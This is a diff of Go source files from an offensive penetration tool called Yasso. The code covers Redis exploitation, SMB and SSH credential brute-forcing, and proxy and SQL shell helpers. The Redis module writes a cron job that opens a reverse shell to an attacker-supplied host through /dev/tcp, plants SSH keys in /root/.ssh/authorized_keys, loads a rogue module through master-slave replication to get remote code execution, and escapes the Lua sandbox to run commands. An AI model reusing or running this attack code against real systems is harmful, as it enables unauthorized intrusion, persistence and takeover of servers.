if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("redis", UserDic, PassDic)
Println("[*] Brute Module [redis]")
Println("[*] Redis Authorized crack")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("redis", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
if Hosts == "" && ConnHost != "" && (RemoteHost != "" || RemotePublicKey != "" || SQLCommand != "") {
var (
conn net.Conn
status bool
err error
)
if LoginPass != "" {
conn, status, err = RedisAuthConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, "", LoginPass)
if err != nil {
Println(fmt.Sprintf("Redis Auth failed %v", err))
}
} else {
conn, status, err = RedisUnAuthConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, "", LoginPass)
if err != nil {
Println(fmt.Sprintf("Redis UnAuth failed %v", err))
}
}
if SQLCommand != "" {
RedisExec(conn, SQLCommand)
return
}
if status == true {
RedisExploit(conn, RemoteHost, RemotePublicKey)
}
}
if Hosts == "" && ConnHost != "" && RedisRCEMethod != "" && IsRCE == true && LocalHost != "" {
client := InitRedisClient(ConnHost, BrutePort, LoginPass)
if strings.ToLower(RedisRCEMethod) == "rce" && LocalHost != "" && LocalPort != 0 {
// 主从复制
RedisRCE(client, LocalHost, LocalPort, RemoteSoPath)
} else if strings.ToLower(RedisRCEMethod) == "lua" {
//lua 沙盒逃逸
RedisLua(client)
} else {
Println("[*] you need choose a rce method")
return
}
_ = client.Close()
} else {
Println("[*] May be your want use redis extend ? Try to add --rekey or --rebound or --rce rce")
}
}
// redis config
type RedisConfig struct {
OS string
PID string
ConfigPath string
Version string
DbFileName string
}
func RedisAuthConn(info config.HostIn, user, pass string) (net.Conn, bool, error) {
var flag = false
conn, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
if err != nil {
return conn, false, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)))
if err != nil {
return conn, false, err
}
// 认证
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
if err != nil {
return conn, false, err
}
reply, err := RedisReply(conn)
if err != nil {
return conn, false, err
}
if strings.Contains(reply, "+OK") {
flag = true
conf := RedisInfo(conn, reply)
Println(fmt.Sprintf("[+] Redis %s:%v Login Success os:[%v] path:[%v] dbfilename:[%v] pid:[%v]", info.Host, info.Port, conf.OS, conf.ConfigPath, conf.DbFileName, conf.PID))
}
return conn, flag, nil
}
func RedisUnAuthConn(info config.HostIn, user, pass string) (net.Conn, bool, error) {
_, _ = user, pass
var flag = false
conn, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
if err != nil {
return conn, false, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)))
if err != nil {
return conn, false, err
}
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
return conn, false, err
}
reply, err := RedisReply(conn)
if err != nil {
return conn, false, err
}
if strings.Contains(reply, "redis_version") {
flag = true
conf := RedisInfo(conn, reply)
Println(fmt.Sprintf("[+] Redis %s:%v unauthorized dbfilename:[%v] ", info.Host, info.Port, conf.DbFileName))
}
return conn, flag, nil
}
func RedisReply(conn net.Conn) (string, error) {
var (
r string
err error
)
buf := make([]byte, 5*1024)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
r += string(buf[0:count])
if count < 5*1024 {
break
}
}
return r, err
}
// redis get info
func RedisInfo(conn net.Conn, reply string) RedisConfig {
var (
dbfilename string
)
// 读取filename
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
if err != nil {
return RedisConfig{}
}
text, err := RedisReply(conn)
if err != nil {
return RedisConfig{}
}
text1 := strings.Split(text, "\r\n")
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
} else {
dbfilename = text1[0]
}
var redisConfig = RedisConfig{
DbFileName: dbfilename,
}
return redisConfig
}
// 测试利用写入是否可用
func RedisWrite(conn net.Conn) (cron bool, ssh bool, err error) {
var reply string
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) // 测试公钥写入
if err != nil {
return false, false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, false, err
}
if strings.Contains(reply, "OK") {
ssh = true
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) // 测试定时计划写入
if err != nil {
return false, ssh, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, ssh, err
}
if strings.Contains(reply, "OK") {
cron = true
}
return cron, ssh, nil
}
// 计划任务写入
func RedisExploit(conn net.Conn, RemoteHost string, Filename string) {
// 测试写入
cron, ssh, err := RedisWrite(conn)
// 上述返回3个值返回c,s,e,c是corn的值s是ssh写入e是err
if err != nil {
Println(fmt.Sprintf("Redis Write Testing failed %v", err))
return
}
var (
status bool
)
if RemoteHost != "" && cron == true {
status, err = RedisCron(conn, RemoteHost)
if status == true {
Println("[+] Write Rebound shell address Success")
return
} else {
Println("[x] Redis Write Rebound shell address failed")
return
}
}
if Filename != "" && ssh == true {
status, err = RedisKey(conn, Filename)
if status == true {
Println("[+] Write ssh key Success")
return
} else {
Println("[x] Redis ssh key failed")
return
}
}
}
func RedisExec(conn net.Conn, cmd string) {
if cmd != "" {
_, err := conn.Write([]byte(fmt.Sprintf("%s\r\n", cmd)))
if err != nil {
Println(fmt.Sprintf("[!] %v", err))
return
}
reply, err := RedisReply(conn)
if err != nil {
Println(fmt.Sprintf("[!] %v", err))
return
}
Println(fmt.Sprintf("%v", string(reply)))
}
}
func RedisCron(conn net.Conn, RemoteHost string) (bool, error) {
c, s, _ := RedisWrite(conn)
Println(fmt.Sprintf("[+] Redis cron %v ssh %v", c, s))
// 先解析RemoteHost参数
var (
remote = strings.Split(RemoteHost, ":")
flag = false
reply string
host string
port string
)
if len(remote) == 2 {
host, port = remote[0], remote[1]
} else {
return false, errors.New("remote host address is not like 192.160.1.1:4444")
}
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil {
return false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "+OK") { // redis可写定时计划任务
// 存在定时计划写入
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
if err != nil {
return false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, err
}
// 数据库设置成功
if strings.Contains(reply, "+OK") {
// 写入定时计划任务
_, err = conn.Write([]byte(fmt.Sprintf("set corn \"\\n*/1 * * * * /bin/bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", host, port)))
if err != nil {
return false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "+OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
Println("[+] save corn success")
flag = true
}
}
// 恢复原始的dbfilename
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
if err != nil {
return false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
Println("[+] Restore the original dbfilename")
}
}
}
return flag, nil
}
// 公钥写入
func RedisKey(conn net.Conn, filename string) (bool, error) {
var flag = false
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
if err != nil {
return false, err
}
reply, err := RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
if err != nil {
return false, err
}
reply, err := RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
key, err := ReadKeyFile(filename)
if err != nil {
return false, err
}
if len(key) == 0 {
return false, errors.New(fmt.Sprintf("the keyfile %s is empty", filename))
}
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil {
return false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
// 保存
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
flag = true
}
}
// 恢复原始的dbfilename
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
if err != nil {
return false, err
}
reply, err = RedisReply(conn)
if err != nil {
return false, err
}
if strings.Contains(reply, "OK") {
Println("[+] Restore the original dbfilename")
}
}
}
return flag, nil
}
func ReadKeyFile(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
return text, nil
}
}
return "", err
}
func RedisRCE(client *redis.Client, LHost string, LPort int, SoPath string) {
// 设置so文件存放路径
var dest string
if SoPath == "" {
dest = "/tmp/net.so"
} else {
dest = SoPath
}
Rexec(fmt.Sprintf("slaveof %v %v", LHost, LPort), client)
fmt.Println(fmt.Sprintf("[+] slaveof %v %v", LHost, LPort))
dbfilename, dir := getInformation(client)
filenameDir, filename := filepath.Split(dest)
Rexec(fmt.Sprintf("config set dir %v", filenameDir), client)
Rexec(fmt.Sprintf("config set dbfilename %v", filename), client)
// 做监听
ListenLocal(fmt.Sprintf("%v:%v", LHost, LPort))
// 重置数据库
reStore(client, dir, dbfilename)
// 加载so文件
s := Rexec(fmt.Sprintf("module load %v", dest), client)
if s == "need unload" {
fmt.Println("[+] try to unload")
Rexec(fmt.Sprintf("module unload system"), client)
fmt.Println("[+] to the load")
Rexec(fmt.Sprintf("module load %v", dest), client)
}
fmt.Println("[+] module load success")
// 循环执行命令
reader := bufio.NewReader(os.Stdin)
for {
var cmd string
fmt.Printf("[redis-rce]» ")
cmd, _ = reader.ReadString('\n')
cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "")
if cmd == "exit" {
cmd = fmt.Sprintf("rm %v", dest)
run(fmt.Sprintf(cmd), client)
Rexec(fmt.Sprintf("module unload system"), client)
fmt.Println("[+] module unload system break redis-rce")
break
}
Receive(run(fmt.Sprintf(cmd), client))
}
os.Exit(0)
}
func RedisLua(client *redis.Client) {
reader := bufio.NewReader(os.Stdin)
for {
var cmd string
fmt.Printf("[redis-lua]» ")
cmd, _ = reader.ReadString('\n')
cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "")
if cmd == "exit" {
break
}
Receive(execLua(cmd, client))
}
os.Exit(0)
}
func Rexec(cmd string, client *redis.Client) string {
args := strings.Fields(cmd)
var argsInterface []interface{}
for _, arg := range args {
argsInterface = append(argsInterface, arg)
}
//Send(cmd)
val, err := client.Do(context.Background(), argsInterface...).Result()
return Check(val, err)
}
func getInformation(client *redis.Client) (string, string) {
r := Rexec("config get dbfilename", client)
if !strings.HasPrefix(r, "dbfilename") {
return "", ""
}
dbfilename := r[11 : len(r)-1]
d := Rexec("config get dir", client)
if !strings.HasPrefix(d, "dir") {
return "", ""
}
dir := d[4 : len(d)-1]
return dbfilename, dir
}
func Send(str string) {
str = strings.TrimSpace(str)
fmt.Println(fmt.Sprintf("[->] %v", str))
}
func Receive(str string) {
str = strings.TrimSpace(str)
fmt.Println(fmt.Sprintf("%v", str))
}
func Check(val interface{}, err error) string {
if err != nil {
if err == redis.Nil {
fmt.Println("[!] key is not exist")
return ""
}
fmt.Println(fmt.Sprintf("[!] %v", err.Error()))
if err.Error() == "ERR Error loading the extension. Please check the server logs." {
return "need unload"
}
os.Exit(0)
}
switch v := val.(type) {
case string:
return v
case []string:
return "list result:" + strings.Join(v, " ")
case []interface{}:
s := ""
for _, i := range v {
s += i.(string) + " "
}
return s
}
return ""
}
func ListenLocal(address string) {
var wg = &sync.WaitGroup{}
wg.Add(1)
addr, err := net.ResolveTCPAddr("tcp", address)
if err != nil {
fmt.Println("[!] resolve tcp address failed")
os.Exit(0)
}
listen, err := net.ListenTCP("tcp", addr)
if err != nil {
fmt.Println("[!] listen tcp address failed")
os.Exit(0)
}
defer listen.Close()
fmt.Println(fmt.Sprintf("[*] start listen in %v", address))
c, err := listen.AcceptTCP()
if err != nil {
fmt.Println("[!] accept tcp failed")
os.Exit(0)
}
go masterSlave(wg, c)
wg.Wait()
_ = c.Close()
}
func masterSlave(wg *sync.WaitGroup, c *net.TCPConn) {
defer wg.Done()
buf := make([]byte, 1024)
for {
time.Sleep(1 * time.Second)
n, err := c.Read(buf)
if err == io.EOF || n == 0 {
fmt.Println("[*] master-slave replication process is complete")
return
}
switch {
case strings.Contains(string(buf[:n]), "PING"):
c.Write([]byte("+PONG\r\n"))
//Send("+PONG")
case strings.Contains(string(buf[:n]), "REPLCONF"):
c.Write([]byte("+OK\r\n"))
//Send("+OK")
case strings.Contains(string(buf[:n]), "SYNC"):
resp := "+FULLRESYNC " + "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ" + " 1" + "\r\n" // 垃圾字符
resp += "$" + fmt.Sprintf("%v", len(payload)) + "\r\n"
rep := []byte(resp)
rep = append(rep, payload...)
rep = append(rep, []byte("\r\n")...)
c.Write(rep)
//Send(resp)
}
}
}
func reStore(client *redis.Client, dir, dbfilename string) {
success := Rexec("slaveof no one", client)
if strings.Contains(success, "OK") {
fmt.Println("[+] restore file success")
}
Rexec(fmt.Sprintf("config set dir %v", dir), client)
Rexec(fmt.Sprintf("config set dbfilename %v", dbfilename), client)
}
func run(cmd string, client *redis.Client) string {
ctx := context.Background()
val, err := client.Do(ctx, "system.exec", cmd).Result()
return Check(val, err)
}
func execLua(cmd string, client *redis.Client) string {
ctx := context.Background()
val, err := client.Do(ctx, "eval", fmt.Sprintf(`local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("%v", "r"); local res = f:read("*a"); f:close(); return res`, cmd), "0").Result()
return Check(val, err)
}
func InitRedisClient(host string, port int, pass string) *redis.Client {
rdb := redis.NewClient(&redis.Options{
Addr: fmt.Sprintf("%v:%v", host, port),
Password: pass, // no password set
DB: 0, // use default DB
})
return rdb
}

View File

@@ -1,167 +0,0 @@
package cmd
import (
"errors"
"net"
"os"
"regexp"
"strconv"
"strings"
)
func ResolveIPS(ip string) ([]string, error) {
if strings.Contains(ip, ".") && strings.Contains(ip, ".txt") {
// 此时传入的是文件txt
file, err := os.Open(ip)
if err != nil {
return []string{}, err
}
ips := Readiness(file)
return ips, err
}
reg := regexp.MustCompile(`[a-zA-Z]+`)
switch {
case strings.Contains(ip, "/"):
return resolveIP(ip)
case strings.Count(ip, "-") == 1:
return resolveIPC(ip)
case reg.MatchString(ip):
_, err := net.LookupHost(ip)
if err != nil {
return []string{}, err
}
return []string{ip}, nil
default:
var isip = net.ParseIP(ip)
if isip == nil {
return []string{}, errors.New("input format is not ccorrect")
}
return []string{ip}, nil
}
}
// 解析192.168.1.1/*的格式
func resolveIP(ip string) ([]string, error) {
var ip4 = net.ParseIP(strings.Split(ip, "/")[0]) // [192.168.1.1 *]
if ip4 == nil {
return []string{}, errors.New("not an ipv4 address")
}
var footmark = strings.Split(ip, "/")[1] // *
var temp []string
var err error
switch footmark {
case "24":
var ip3 = strings.Join(strings.Split(ip[:], ".")[0:3], ".")
for i := 0; i <= 255; i++ {
temp = append(temp, ip3+"."+strconv.Itoa(i))
}
err = nil
case "16":
var ip2 = strings.Join(strings.Split(ip[:], ".")[0:2], ".")
for i := 0; i <= 255; i++ {
for j := 0; j <= 255; j++ {
temp = append(temp, ip2+"."+strconv.Itoa(i)+"."+strconv.Itoa(j))
}
}
err = nil
default:
temp = []string{}
err = errors.New("not currently supported")
}
return temp, err
}
// 解析192.168.1.1-*格式
func resolveIPC(ip string) ([]string, error) {
var ip4 = strings.Split(ip, "-")
var ipA = net.ParseIP(ip4[0])
if ip4 == nil {
return []string{}, errors.New("not an ipv4 address")
}
var temp []string
if len(ip4[1]) < 4 {
iprange, err := strconv.Atoi(ip4[1])
if ipA == nil || iprange > 255 || err != nil {
return []string{}, errors.New("input format is not ccorrect")
}
var splitip = strings.Split(ip4[0], ".")
ip1, err1 := strconv.Atoi(splitip[3])
ip2, err2 := strconv.Atoi(ip4[1])
prefixip := strings.Join(splitip[0:3], ".")
if ip1 > ip2 || err1 != nil || err2 != nil {
return []string{}, errors.New("input format is not ccorrect")
}
for i := ip1; i <= ip2; i++ {
temp = append(temp, prefixip+"."+strconv.Itoa(i))
}
} else {
var splitip1 = strings.Split(ip4[0], ".")
var splitip2 = strings.Split(ip4[1], ".")
if len(splitip1) != 4 || len(splitip2) != 4 {
return []string{}, errors.New("input format is not ccorrect")
}
start, end := [4]int{}, [4]int{}
for i := 0; i < 4; i++ {
ip1, err1 := strconv.Atoi(splitip1[i])
ip2, err2 := strconv.Atoi(splitip2[i])
if ip1 > ip2 || err1 != nil || err2 != nil {
return []string{}, errors.New("input format is not ccorrect")
}
start[i], end[i] = ip1, ip2
}
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
for num := startNum; num <= endNum; num++ {
ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff)
temp = append(temp, ip)
}
}
return temp, nil
}
func RemoveDuplicate(old []int) []int {
result := make([]int, 0, len(old))
temp := map[int]struct{}{}
for _, item := range old {
if _, ok := temp[item]; !ok {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// 解析为445,69,72-15这种以逗号隔开的端口
func ResolvePORTS(ports string) ([]int, error) {
var scanPorts []int
slices := strings.Split(ports, ",")
for _, port := range slices {
port = strings.Trim(port, " ")
upper := port
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
if len(ranges) < 2 {
continue
}
startPort, _ := strconv.Atoi(ranges[0])
endPort, _ := strconv.Atoi(ranges[1])
if startPort < endPort {
port = ranges[0]
upper = ranges[1]
} else {
port = ranges[1]
upper = ranges[0]
}
}
start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ {
scanPorts = append(scanPorts, i)
}
}
scanPorts = RemoveDuplicate(scanPorts)
return scanPorts, nil
}

View File

@@ -1,43 +0,0 @@
package cmd
import (
"fmt"
"github.com/spf13/cobra"
"os"
"time"
)
var (
TimeDuration time.Duration // 超时时间
Hosts string // 全局host变量
RunICMP bool // 是否执行ICMP
Ports string // 需要解析的端口
Runtime int // 运行的线程
JsonBool bool // 是否使用日志
PingBool bool // 是否执行ping操作
UserDic string // 爆破的用户名路径
PassDic string // 爆破的密码路径
BruteFlag bool // 是否进行爆破
ConnHost string // 单独变量的链接地址
BrutePort int // 爆破使用的端口
LoginUser string // 登陆使用的用户
LoginPass string // 登陆使用的密码
LoginPublicKey string // 登陆使用的公钥路径
ProxyHost string // 代理地址 user:pass@ip:port 格式
SQLShellBool bool // 是否启动sql—shell
SQLCommand string // sql语句单条命令行
WinRMbool bool // winrm shell
NoCrack bool // 判断all模块是否爆破服务
)
var rootCmd = &cobra.Command{
Use: "Yasso",
Short: "\n __ __ ______ ______ ______ ______ \n/\\ \\_\\ \\ /\\ __ \\ /\\ ___\\ /\\ ___\\ /\\ __ \\ \n\\ \\____ \\ \\ \\ __ \\ \\ \\___ \\ \\ \\___ \\ \\ \\ \\/\\ \\ \n \\/\\_____\\ \\ \\_\\ \\_\\ \\/\\_____\\ \\/\\_____\\ \\ \\_____\\ \n \\/_____/ \\/_/\\/_/ \\/_____/ \\/_____/ \\/_____/ \n \n",
}
func Execute() {
if err := rootCmd.Execute(); err != nil {
Println(fmt.Sprintf("%v", err))
os.Exit(1)
}
}

View File

@@ -1,87 +0,0 @@
package cmd
import (
"Yasso/config"
"errors"
"fmt"
"github.com/spf13/cobra"
"github.com/stacktitan/smb/smb"
"time"
)
/*
模块完成时间2021年12月28日主要用于smb爆破扫描445端口,似乎不能走socks5代理
*/
var SmbCmd = &cobra.Command{
Use: "smb",
Short: "Smb burst module (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
} else {
BruteSmbByUser()
}
},
}
func BruteSmbByUser() {
if BrutePort == 0 {
BrutePort = 445
}
var ips []string
var err error
if Hosts != "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("smb", UserDic, PassDic)
Println("[*] Brute Module [smb]")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("smb", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
}
func SmbConn(info config.HostIn, user, pass string) (bool, error) {
signal := make(chan struct{})
var (
flag bool
err error
)
go func() {
flag, err = DialSmbTimeOut(info, user, pass, signal)
}()
select {
case <-signal:
return flag, err
case <-time.After(1 * time.Second):
return false, errors.New("smb conn time out")
}
}
func DialSmbTimeOut(info config.HostIn, user, pass string, signal chan struct{}) (bool, error) {
var flag = false
options := smb.Options{
Host: info.Host,
Port: 445,
User: user,
Password: pass,
Domain: info.Domain,
Workstation: "",
}
session, err := smb.NewSession(options, false)
if err == nil {
session.Close()
if session.IsAuthenticated {
flag = true
}
}
signal <- struct{}{}
return flag, err
}

View File

@@ -1,194 +0,0 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/spf13/cobra"
"golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/terminal"
"io/ioutil"
"os"
"path"
)
/*
模块完成时间2021年12月28日主要用于ssh爆破连接扫描22端口
*/
var SshCmd = &cobra.Command{
Use: "ssh",
Short: "SSH burst and SSH extend tools (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == "" {
_ = cmd.Help()
} else {
BruteSshByUser()
}
},
}
func init() {
SshCmd.Flags().StringVar(&ConnHost, "hostname", "", "Open an interactive SSH at that address(brute param need false)")
SshCmd.Flags().StringVar(&LoginUser, "user", "", "Login ssh username")
SshCmd.Flags().StringVar(&LoginPass, "pass", "", "Login ssh password")
SshCmd.Flags().StringVar(&LoginPublicKey, "key", "", "ssh public key path")
}
func BruteSshByUser() {
if BrutePort == 0 {
BrutePort = 22
}
var ips []string
var err error
if Hosts != "" && ConnHost == "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("ssh", UserDic, PassDic)
//fmt.Println(users, pass)
Println("[*] Brute Module [ssh]")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("ssh", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
if ConnHost != "" && Hosts == "" && (LoginUser != "" && (LoginPass != "" || LoginPublicKey != "")) && BruteFlag != true {
if LoginUser != "" && LoginPass != "" {
client, status, err := SshConnByUser(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
if err != nil {
Println(fmt.Sprintf("[-] Login ssh failed %v", err))
return
}
if status == true {
//认证成功
SshLogin(client)
} else {
Println("[-] The username or password is incorrect")
return
}
}
if LoginPublicKey != "" && LoginUser != "" {
client, status, err := sshConnByKey(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration, PublicKey: LoginPublicKey}, LoginUser)
if err != nil {
Println(fmt.Sprintf("[-] Login ssh failed %v", err))
return
}
if status == true {
//认证成功
SshLogin(client)
return
} else {
Println("[-] The username or password is incorrect")
return
}
}
}
if Hosts == "" && ConnHost != "" && BruteFlag == false && (LoginUser == "" || LoginPublicKey == "") {
Println("[*] May be you want login ssh? try to add user and (user' key) or (user' pass)")
return
}
}
func SshConnByUser(info config.HostIn, user, pass string) (*ssh.Client, bool, error) {
// 走socks5代理的ssh连接
sshConfig := &ssh.ClientConfig{User: user, Auth: []ssh.AuthMethod{ssh.Password(pass)}, HostKeyCallback: ssh.InsecureIgnoreHostKey(), Timeout: info.TimeOut}
con, err := GetConn(fmt.Sprintf("%v:%v", info.Host, info.Port), info.TimeOut)
if err != nil {
return nil, false, err
}
c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Host, info.Port), sshConfig)
if err != nil {
return nil, false, err
}
return ssh.NewClient(c, ch, re), true, err
}
func sshConnByKey(info config.HostIn, user string) (*ssh.Client, bool, error) {
var (
err error
HomePath string
key []byte
)
switch {
case info.PublicKey == "":
HomePath, err = os.UserHomeDir()
if err != nil {
return nil, false, err
}
key, err = ioutil.ReadFile(path.Join(HomePath, ".ssh", "id_rsa"))
if err != nil {
return nil, false, err
}
case info.PublicKey != "":
key, err = ioutil.ReadFile(info.PublicKey)
if err != nil {
return nil, false, err
}
}
signer, err := ssh.ParsePrivateKey(key)
if err != nil {
return nil, false, err
}
sshConfig := &ssh.ClientConfig{
User: user,
Auth: []ssh.AuthMethod{
ssh.PublicKeys(signer),
},
Timeout: info.TimeOut,
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
con, err := GetConn(fmt.Sprintf("%v:%v", info.Host, info.Port), info.TimeOut)
if err != nil {
return nil, false, err
}
c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Host, info.Port), sshConfig)
if err != nil {
return nil, false, err
}
return ssh.NewClient(c, ch, re), true, err
}
// ssh 完全交互式登陆
func SshLogin(client *ssh.Client) {
defer client.Close()
session, err := client.NewSession()
if err != nil {
Println(fmt.Sprintf("new ssh session failed %v", err))
return
}
defer session.Close()
session.Stdout = os.Stdout
session.Stderr = os.Stderr
session.Stdin = os.Stdin
modes := ssh.TerminalModes{
ssh.ECHO: 1,
ssh.TTY_OP_ISPEED: 14400,
ssh.TTY_OP_OSPEED: 14400,
ssh.VSTATUS: 1,
}
fd := int(os.Stdin.Fd())
oldState, err := terminal.MakeRaw(fd)
if err != nil {
Println(fmt.Sprintf("terminal failed %v", err))
}
defer terminal.Restore(fd, oldState)
w, h, err := terminal.GetSize(fd)
if err = session.RequestPty("xterm-256color", h, w, modes); err != nil {
Println(fmt.Sprintf("Session Request new xterm failed %v", err))
return
}
if err = session.Shell(); err != nil {
Println(fmt.Sprintf("Session start shell failed %v", err))
return
}
if err = session.Wait(); err != nil {
Println(fmt.Sprintf("Session wait failed %v", err))
return
}
}

Binary file not shown.

View File

@@ -1,147 +0,0 @@
package cmd
import (
"bufio"
"bytes"
"database/sql"
"fmt"
"github.com/olekukonko/tablewriter"
"golang.org/x/net/proxy"
"log"
"net"
"os"
"strings"
"time"
)
// socks5代理连接功能
func ConnBySOCKS5() (proxy.Dialer, error) {
// 解析连接过来的socks5字符串
if strings.ContainsAny(ProxyHost, "@") && strings.Count(ProxyHost, "@") == 1 {
info := strings.Split(ProxyHost, "@")
userpass := strings.Split(info[0], ":")
auth := proxy.Auth{User: userpass[0], Password: userpass[1]}
dialer, err := proxy.SOCKS5("tcp", info[1], &auth, proxy.Direct)
return dialer, err
} else {
if strings.ContainsAny(ProxyHost, ":") && strings.Count(ProxyHost, ":") == 1 {
dialer, err := proxy.SOCKS5("tcp", ProxyHost, nil, proxy.Direct)
return dialer, err
}
}
return nil, fmt.Errorf("proxy error")
}
// 返回一个连接
func GetConn(addr string, timeout time.Duration) (net.Conn, error) {
if ProxyHost != "" {
dialer, err := ConnBySOCKS5()
if err != nil {
return nil, err
}
conn, err := dialer.Dial("tcp", addr)
if err != nil {
return nil, err
}
return conn, nil
} else {
return net.DialTimeout("tcp", addr, time.Duration(timeout))
}
}
func SQLExecute(db *sql.DB, q string) (*Results, error) {
if q == "" {
return nil, nil
}
rows, err := db.Query(q)
//rows, err := db.Query(q)
if err != nil {
return nil, err
}
columns, err := rows.Columns()
if err != nil {
return nil, err
}
var results [][]string
for rows.Next() {
rs := make([]sql.NullString, len(columns))
rsp := make([]interface{}, len(columns))
for i := range rs {
rsp[i] = &rs[i]
}
if err = rows.Scan(rsp...); err != nil {
break
}
_rs := make([]string, len(columns))
for i := range rs {
_rs[i] = rs[i].String
}
results = append(results, _rs)
}
if closeErr := rows.Close(); closeErr != nil {
return nil, closeErr
}
if err != nil {
return nil, err
}
if err := rows.Err(); err != nil {
return nil, err
}
return &Results{
Columns: columns,
Rows: results,
}, nil
}
type Results struct {
Columns []string
Rows [][]string
}
func (r *Results) String() string {
buf := bytes.NewBufferString("")
table := tablewriter.NewWriter(buf)
table.SetHeader(r.Columns)
table.AppendBulk(r.Rows)
table.Render()
return buf.String()
}
func SQLshell(db *sql.DB, sqltype string) {
reader := bufio.NewReader(os.Stdin)
Println(fmt.Sprintf("Welcome to Yasso sql client "))
for {
fmt.Printf("Yasso-%s> ", sqltype)
sqlstr, err := reader.ReadString('\n')
if err != nil {
log.Panic("failed to ReadString ", err)
}
sqlstr = strings.Trim(sqlstr, "\r\n")
sqls := []byte(sqlstr)
if len(sqls) > 6 {
